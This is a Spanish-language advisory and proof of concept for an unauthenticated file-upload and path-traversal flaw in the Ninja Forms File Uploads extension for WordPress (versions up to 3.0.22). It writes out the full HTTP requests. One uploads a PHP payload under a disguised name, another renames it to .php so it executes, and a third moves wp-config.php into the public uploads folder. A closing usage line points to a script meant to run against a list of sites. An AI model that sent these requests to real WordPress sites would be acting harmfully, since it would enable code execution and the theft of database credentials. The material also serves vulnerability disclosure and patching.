
(Wordpress) Extensión Ninja Forms File Uploads <= 3.0.22 – Carga Arbitraria de Archivos No Autenticada
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Subida de archivos arbitraria no autenticada
Existe un Path Traversal y una subida de archivos sin restricciones en el plugin Ninja Forms anterior a la versión 3.0.23 para WordPress (cuando el complemento Uploads está activado). Esto permite a un atacante recorrer el sistema de archivos para acceder a archivos y ejecutar código a través de los parámetros name y tmp_name de includes/fields/upload.php (también conocida como página de carga/envío).
Solicitud de carga de archivo inicial:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
Respuesta:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
Cuando se envía el formulario, el archivo tmp cargado inicialmente se mueve a una nueva ubicación:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
El parámetro “name” es luego “desinfectado” por la función de WordPress sanitize_file_name, que esencialmente solo elimina un conjunto de caracteres especiales predefinidos:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
Esto resulta en mover el archivo tmp a su ubicación final: /wp-content/uploads/ninja-forms/1/test.php
Si la carpeta de carga no se ha hecho explícitamente no ejecutable, que no es el caso por defecto, esto resulta en ejecución de código:

al enviar el formulario también es posible recorrer el sistema de archivos a través del parámetro tmp_name como se muestra a continuación. ¡Ten en cuenta que los archivos tmp se mueven a su nueva ubicación dentro de la carpeta de uploads!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
Esto resulta en mover el archivo wp-config.php a la siguiente ubicación: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt